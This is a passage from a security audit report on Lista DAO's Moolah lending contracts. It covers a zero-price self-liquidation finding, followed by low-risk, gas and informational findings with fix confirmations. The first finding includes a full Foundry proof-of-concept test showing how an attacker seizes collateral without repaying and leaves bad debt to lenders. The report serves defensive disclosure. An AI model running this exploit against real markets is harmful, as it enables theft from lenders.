In a functioning market with active liquidators, positions would become unhealthy and be liquidated long before the collateral price reaches zero. If, however, for any reason this was not the case and a position was allowed to remain unhealthy for an extended duration then this behavior can be abused. An attacker could borrow the maximum amount available based on their collateral/credit score and wait for the position to accrue interest such that their borrower-specific collateral price falls to zero. Once this is the case, they can self-liquidate to retrieve their original collateral balance without repaying the loan.

Proof of Concept: The following test should be added to `LendingBroker.t.sol`:

```
/**
 * @notice zero price liquidation in LendingBroker markets
 * 1. Attacker supplies BTCB collateral and borrows via LendingBroker
 * 2. Attacker lets broker-side interest accumulate until BrokerMath.peek returns 0
 *    (saturating subtraction of deduction >= oraclePrice makes price = 0)
 * 3. Attacker calls Moolah.liquidate directly with seizedAssets = full collateral
 * 4. Due to price = 0, repaidShares = 0
 * 5. Attacker receives all collateral, debt becomes bad debt (socialized to lenders)
 */
function test_LendingBroker_ZeroPriceLiquidation() public {
  address attacker = makeAddr("attacker");

  // STEP 1: Setup attacker position
  console.log("[STEP 1] Attacker supplies collateral and borrows");

  // Set high interest rate for faster interest accumulation
  uint256 extremeRate = RATE_SCALE + 3e19; // ~1000% APY equivalent
  vm.prank(MANAGER);
  rateCalc.setMaxRatePerSecond(address(broker), extremeRate + 1);
  vm.prank(BOT);
  rateCalc.setRatePerSecond(address(broker), extremeRate);

  // Fund attacker with collateral
  BTCB.setBalance(attacker, COLLATERAL);

  // Attacker supplies collateral and borrows via dynamic loan
  uint256 borrowAmount = 75000 ether; // Borrow $75,000 against 1 BTCB ($100,000) at 80%
  ↪  LTV
  vm.startPrank(attacker);
  BTCB.approve(address(moolah), type(uint256).max);
  moolah.supplyCollateral(marketParams, COLLATERAL, attacker, bytes(""));
  LISUSD.approve(address(broker), type(uint256).max);
  broker.borrow(borrowAmount);
  vm.stopPrank();

  console.log("  - Collateral deposited: %s BTCB ($%s)", COLLATERAL / 1e18, COLLATERAL *
  ↪  100000 / 1e18);
  console.log("  - Amount borrowed: %s LISUSD", borrowAmount / 1e18);

  // Record initial state
  Market memory marketBefore = moolah.market(id);
  Position memory attackerPosBefore = moolah.position(id, attacker);
  uint256 totalSupplyBefore = marketBefore.totalSupplyAssets;

  console.log("  - Attacker collateral at Moolah: %s", attackerPosBefore.collateral /
  ↪  1e18);
  console.log("  - Attacker borrow shares: %s", attackerPosBefore.borrowShares);
  console.log("  - Market total supply: %s LISUSD", totalSupplyBefore / 1e18);

  // ========================================================================
  // STEP 2: Accumulate interest until collateral price = 0
  // ========================================================================
  console.log("\n[STEP 2] Accumulating interest until collateral price reaches 0");

  uint256 oraclePrice = oracle.peek(address(BTCB));
  uint256 initialPrice = broker.peek(address(BTCB), attacker);
  console.log("  - BTCB oracle price: %s (100000e8 = $100,000)", oraclePrice);
  console.log("  - Initial borrower-specific price: %s", initialPrice);

  // Loop day by day to track when position becomes unhealthy vs when price reaches 0
  uint256 day = 0;
  bool loggedUnhealthy = false;
```

```
uint256 unhealthyDay = 0;

while (broker.peek(address(BTCB), attacker) > 0 && day < 365) {
  skip(1 days);
  day++;
  rateCalc.accrueRate(address(broker));

  // Log when position first becomes unhealthy (liquidatable)
  if (!loggedUnhealthy && !Moolah(address(moolah)).isHealthy(marketParams, id,
   ↪  attacker)) {
    unhealthyDay = day;
    console.log("  - Position became unhealthy (liquidatable) at day %s", day);
    loggedUnhealthy = true;
  }
}

console.log("  - Collateral price reached zero at day %s", day);
console.log("  - Window between unhealthy and zero-price: %s days", day -
 ↪  unhealthyDay);

// ==========================================================================
// STEP 3: Verify exploit conditions
// ==========================================================================
console.log("\n[STEP 3] Verifying exploit conditions");

uint256 finalPrice = broker.peek(address(BTCB), attacker);
if (finalPrice == 0) {
  console.log("  - Collateral price reached zero at day %s", day);
  console.log("  - This enables zero repayment liquidations");
}

// Verify the math
DynamicLoanPosition memory dynPos = broker.userDynamicPosition(attacker);
uint256 currentRate = rateCalc.getRate(address(broker));
uint256 debtAtBroker = BrokerMath.denormalizeBorrowAmount(dynPos.normalizedDebt,
 ↪  currentRate);

Market memory mkt = moolah.market(id);
uint256 moolahDebt =
 ↪  uint256(attackerPosBefore.borrowShares).toAssetsUp(mkt.totalBorrowAssets,
 ↪  mkt.totalBorrowShares);
uint256 deltaDebt = debtAtBroker > moolahDebt ? debtAtBroker - moolahDebt : 0;

console.log("\n  - Total debt at broker: %s", debtAtBroker / 1e18);
console.log("  - Debt at Moolah: %s", moolahDebt / 1e18);
console.log("  - Delta debt (interest): %s", deltaDebt / 1e18);
console.log("  - Collateral: %s", attackerPosBefore.collateral / 1e18);

// ==========================================================================
// STEP 4: Execute zero repayment liquidation via BrokerLiquidator
// ==========================================================================
console.log("\n[STEP 4] Executing zero repayment liquidation via BrokerLiquidator");

Position memory posBeforeLiq = moolah.position(id, attacker);
uint256 collateralToSeize = posBeforeLiq.collateral;

console.log("  - Collateral to seize: %s", collateralToSeize / 1e18);
console.log("  - Borrow shares before: %s", posBeforeLiq.borrowShares);

// Fund liquidator with LISUSD for the callback
LISUSD.setBalance(address(liquidator), 1_000_000 ether);

uint256 liquidatorBTCBBefore = BTCB.balanceOf(address(liquidator));
uint256 liquidatorLISUSDBefore = LISUSD.balanceOf(address(liquidator));

console.log("  - Liquidator BTCB before: %s", liquidatorBTCBBefore / 1e18);
console.log("  - Liquidator LISUSD before: %s", liquidatorLISUSDBefore / 1e18);

// Execute liquidation via BrokerLiquidator
vm.prank(BOT);
try liquidator.liquidate(Id.unwrap(id), attacker, collateralToSeize, 0) {
  console.log("  - Liquidation executed successfully via BrokerLiquidator");
} catch Error(string memory reason) {
  console.log("  - Liquidation failed: %s", reason);
}

// ==========================================================================
// STEP 5: Verify exploit results
// ==========================================================================
console.log("\n[STEP 5] Verifying exploit results");

uint256 liquidatorBTCBAfter = BTCB.balanceOf(address(liquidator));
uint256 liquidatorLISUSDAfter = LISUSD.balanceOf(address(liquidator));

uint256 collateralGained = liquidatorBTCBAfter - liquidatorBTCBBefore;
uint256 lisusdSpent = liquidatorLISUSDBefore - liquidatorLISUSDAfter;

console.log("  - Liquidator BTCB after: %s", liquidatorBTCBAfter / 1e18);
console.log("  - Liquidator LISUSD after: %s", liquidatorLISUSDAfter / 1e18);
console.log("  - Collateral gained: %s BTCB", collateralGained / 1e18);
console.log("  - LISUSD spent: %s", lisusdSpent / 1e18);

// Check borrower position after liquidation
Position memory posAfterLiq = moolah.position(id, attacker);
console.log("\n  [Borrower position after liquidation]");
console.log("  - Collateral remaining: %s", posAfterLiq.collateral / 1e18);
console.log("  - Borrow shares remaining: %s", posAfterLiq.borrowShares);

// Check for bad debt
Market memory marketAfter = moolah.market(id);
uint256 totalSupplyAfter = marketAfter.totalSupplyAssets;

console.log("\n  [Market state after liquidation]");
console.log("  - Total supply before: %s LISUSD", totalSupplyBefore / 1e18);
console.log("  - Total supply after: %s LISUSD", totalSupplyAfter / 1e18);

if (totalSupplyAfter < totalSupplyBefore) {
  uint256 badDebtCreated = totalSupplyBefore - totalSupplyAfter;
  console.log("  - Bad debt created: %s LISUSD", badDebtCreated / 1e18);
  console.log("\n  [SUCCESS] Debt was socialized to lenders!");
}

uint256 collateralValueUSD = collateralGained * 100000; // BTCB at $100,000
console.log("  - Collateral value seized: $%s", collateralValueUSD / 1e18);
console.log("  - LISUSD spent: $%s", lisusdSpent / 1e18);

if (collateralValueUSD > lisusdSpent) {
  console.log("  - Net profit: $%s", (collateralValueUSD - lisusdSpent) / 1e18);
}

// ==========================================================================
// Summary
// ==========================================================================
console.log("\n==========================================================================
↪  ");
console.log("  EXPLOIT SUMMARY");
console.log("==========================================================================");
console.log("  1. Borrower deposited %s BTCB and borrowed %s LISUSD", COLLATERAL /
↪  1e18, borrowAmount / 1e18);
console.log("  2. Interest accumulated at ~1000%% APY until collateral price = 0");
console.log("  3. Liquidation executed via BrokerLiquidator");
console.log("  4. Due to price = 0, repaidShares was minimal/zero");
```

```
    console.log("  5. Collateral seized: %s BTCB", collateralGained / 1e18);
    console.log("  6. LISUSD spent: %s (should be minimal if price = 0)", lisusdSpent /
    ↪   1e18);
    console.log("  7. Remaining debt socialized as bad debt to lenders");
    console.log("===========================================================================\n
    ↪   ");

    // Assert the vulnerability
    assertGt(collateralGained, 0, "Collateral should have been seized");
}
```

Recommendation: Consider enforcing a positive repayment amount when collateral is seized.

Lista DAO: For the `LendingBroker`, we prioritize an internal, high‑availability liquidator. This makes prolonged gaps without liquidation unlikely in practice, and unhealthy positions should be cleared well before borrower‑specific collateral prices could decay to zero.

Cantina Managed: Acknowledged.

3.3.12 `CreditBroker::liquidate` does not conform to `IProvider::liquidate`

Severity: Low Risk

Context: CreditBroker.sol#L779-L787, Moolah.sol#L598-L602, IProvider.sol#L6-L7

Description: Currently, liquidation will proceed for credit positions unless `CreditBroker` is registered in `Moolah` as a provider. If it is, then it will revert, preventing liquidations as intended; however, `CreditBroker` does not implement the correct `IProvider::liquidate` signature and only reverts due to a selector mismatch instead of the expected `"creditBroker/not-support-liquidation"` error.

Recommendation: Modify the `CreditBroker::liquidate` signature to correctly implement `IProvider::liquidate`.

Lista DAO: Fixed in commit c6433e6.

Cantina Managed: Verified. The function signature has been modified.

3.4 Gas Optimization

3.4.1 `CreditBrokerMath::checkPositionsMeetsMinLoan` could break early

Severity: Gas Optimization

Context: CreditBrokerMath.sol#L101

Description: `CreditBrokerMath::checkPositionsMeetsMinLoan` ensures the principal of every position is at least equal to the minimum loan amount. If one or more position fails to meet this requirement, a false boolean is returned. Given that this is a binary failure condition, the for loop could exit early as soon as a single unsatisfactory position is found.

Recommendation: Consider breaking the loop early when `isValid` is set to `false`.

Lista DAO: Fixed in commit 96e888d.

Cantina Managed: Verified. The loop now breaks early once the condition is invalidated.

3.4.2 `CreditBrokerMath::getPenaltyForFixedPosition` could return early when the timestamp is exactly equal to the end timestamp

Severity: Gas Optimization

Context: CreditBrokerMath.sol#L206-L215

Description: `CreditBrokerMath::getPenaltyForFixedPosition` returns early if the current timestamp exceeds the end timestamp. When exactly equal to the end timestamp, `timeLeft` will be zero and used in the subsequent `mulDiv()`.

Recommendation: Consider modifying the early return condition to be `block.timestamp >= position.end`.

Lista DAO: `CreditBrokerMath::getPenaltyForFixedPosition` has been removed in commit 4f97251.

Cantina Managed: Fixed. The `getPenaltyForFixedPosition()` function was removed entirely as it was unused.

3.4.3 `CreditBroker` and `CreditBrokerInterestRelayer` could inherit `ReentrancyGuardTransientUpgradeable`

Severity: Gas Optimization

Context: CreditBrokerInterestRelayer.sol#L6, CreditBroker.sol#L7

Description: `CreditBroker` and `CreditBrokerInterestRelayer` currently inherit `ReentrancyGuardUpgradeable` but could instead use `ReentrancyGuardTransientUpgradeable` since BNB Chain has support for EIP-1153.

Recommendation: Consider using `ReentrancyGuardTransientUpgradeable`.

Lista DAO: Fixed in commit 9f4763b.

Cantina Managed: Verified. `ReentrancyGuardTransientUpgradeable` is now used.

3.5 Informational

3.5.1 Incorrect `waitingPeriod` comments in `CreditToken` should be updated

Severity: Informational

Context: CreditToken.sol#L42

Description: `CreditToken` initializes `waitingPeriod` as 6 hours; however, multiple comments reference to the default value being 1 day.

Recommendation: Update the comments to match the intended default.

Lista DAO: Fixed in commit e53059f.

Cantina Managed: Verified.

3.5.2 `CreditToken` should inherit `ICreditToken`

Severity: Informational

Context: CreditToken.sol#L17

Description: `CreditToken` does not currently inherit `ICreditToken` but should do so to ensure that it correctly conforms to the interface.

Recommendation: Modify `CreditToken` to inherit `ICreditToken`.

Lista DAO: Fixed in commit 3b6eade.

Cantina Managed: Verified. `CreditToken` now inherits `ICreditToken`.

3.5.3 Unchained intializers should be called instead

Severity: Informational

Context: CreditBrokerInterestRelayer.sol#L79-L80, CreditBroker.sol#L154-L156, CreditToken.sol#L79-L80

Description: While not an immediate issue in the current implementation, the direct use of initializer functions rather than their unchained equivalents should be avoided to prevent potential duplicate initialization in the future.

Recommendation: Consider using unchained initializers.

Lista DAO: Fixed in commit c82c583.

Cantina Managed: Verified. Unchained initializers are now used.

3.5.4 Incorrect `CreditToken::transfer` dev comment

Severity: Informational

Context: CreditToken.sol#L99

Description: `CreditToken::transfer` currently states that only Moolah can transfer credit tokens; however, the transferrers list also includes the `CreditBroker`.

Recommendation: Update the comment to include `CreditBroker`.

Lista DAO: Fixed in commit 8ce6160.

Cantina Managed: Verified.

3.5.5 Outdated references to `LendingBroker` should be updated

Severity: Informational

Context: CreditBroker.sol#L109, CreditBroker.sol#L131

Description: `CreditBroker` appears to have been adapted from `LendingBroker`; however, there are outdated references in comments that should be changed to refer to `CreditBroker`.

Recommendation: Change the outdated references to refer to `CreditBroker`.

Lista DAO: Fixed in commit 43930ac.

Cantina Managed: Verified.

3.5.6 Fixed term updates apply only to new loans

Severity: Informational

Context: CreditBroker.sol#L833-L834

Description: `CreditBroker::updateFixedTermAndRate` allows the `BOT` role to update the term duration and APR for a given `termId`. It should be noted that this will apply only to new loans and will not update the corresponding term for any existing fixed term loans.

Recommendation: Consider clearly documenting this behavior, assuming it is already understood and accepted.

Lista DAO: Fixed in commit 2f11570. We have removed `updateFixedTermAndRate()` and added a new function `addFixedTermAndRate()` which can only be called by `MANAGER` to add a new fixed term product. There will be only one fixed term rate for credit loan in Phase I.

Cantina Managed: Verified.

3.5.7 `CreditBrokerInterestRelayer` currently has no mechanism to withdraw LISTA

Severity: Informational

Context: CreditBrokerInterestRelayer.sol#L184

Description: `CreditBrokerInterestRelayer` currently has no mechanism to withdraw LISTA accrued from interest repayments and will require a future contract upgrade to be supported.

Recommendation: Consider adding an admin function to withdraw LISTA before deployment.

Lista DAO: Fixed in commit 2ebb170.

Cantina Managed: Verified. LISTA held by `CreditBrokerInterestRelayer` can now be withdrawn by the `MANAGER`.

3.5.8 `CreditBrokerMath::getPenaltyForFixedPosition` is not used and can be removed

Severity: Informational

Context: CreditBrokerMath.sol#L201

Description: `CreditBrokerMath::getPenaltyForFixedPosition` is not currently used and can be removed as there is not currently any early repayment penalty on credit loans.

Recommendation: Consider removing `CreditBrokerMath::getPenaltyForFixedPosition`.

Lista DAO: Fixed in commit 4f97251.

Cantina Managed: Verified. The unused function has been removed.

3.5.9 Conditional branch in `_syncCreditScore()` is unreachable

Severity: Informational

Context: CreditToken.sol#L172-L178

Description: The `_syncCreditScore()` function mints/burns tokens according to credit score updates. Currently, there are three conditional branches depending on whether the updated credit score is greater than, less than, or equal to the outstanding user credit. When equal, the logic checks whether it can burn tokens, i.e. if the user debt and their balance of credit tokens are both non-zero. The only state in which `debt > 0` is if `userAmounts > score`; however, in this `else` branch, `_newScore == userAmounts` and `creditScores[user].score` was set to `_newScore` before `_syncCreditScore()` was called. Therefore, `score == _newScore == userAmounts` and `debt = userAmounts - score = 0`. As such, this logic appears to be unreachable.

Recommendation: Consider removing the unreachable code.

Lista DAO: Fixed in commit d6fbf49.

Cantina Managed: Verified. The unreachable code has been removed.

3.5.10 `CreditBrokerMath::_revertIfDuplicatePosIds` is unused and can be removed

Severity: Informational

Context: CreditBrokerMath.sol#L355-L362

Description: The internal function `_revertIfDuplicatePosIds()` present within `CreditBrokerMath` is currently unused and can be removed.

Recommendation: Consider removing `_revertIfDuplicatePosIds()`.

Lista DAO: Fixed in commit 237fbab.

Cantina Managed: Verified. The unused function has been removed.

3.5.11 Miscellaneous code improvements

Severity: Informational

Context: CreditBroker.sol#L111, CreditBroker.sol#L249-L252, CreditToken.sol#L95-L97

Description: There are several instances of incorrect comments in the codebase :

- CreditBroker.sol#L111: `The address of the BrokerInterestRelayer contract` should be changed to ⇒ `The address of the CreditBrokerInterestRelayer contract`.
- CreditToken.sol#L95: `mint()` function is unnecessary and can be removed.
- CreditBroker.sol#L252: In `withdrawCollateral()` function, natspec comment is missing for `score`.

Recommendation: Consider modifying the code/comments as mentioned.

Lista DAO: Fixed in commit 9e02d75.

Cantina Managed: Verified.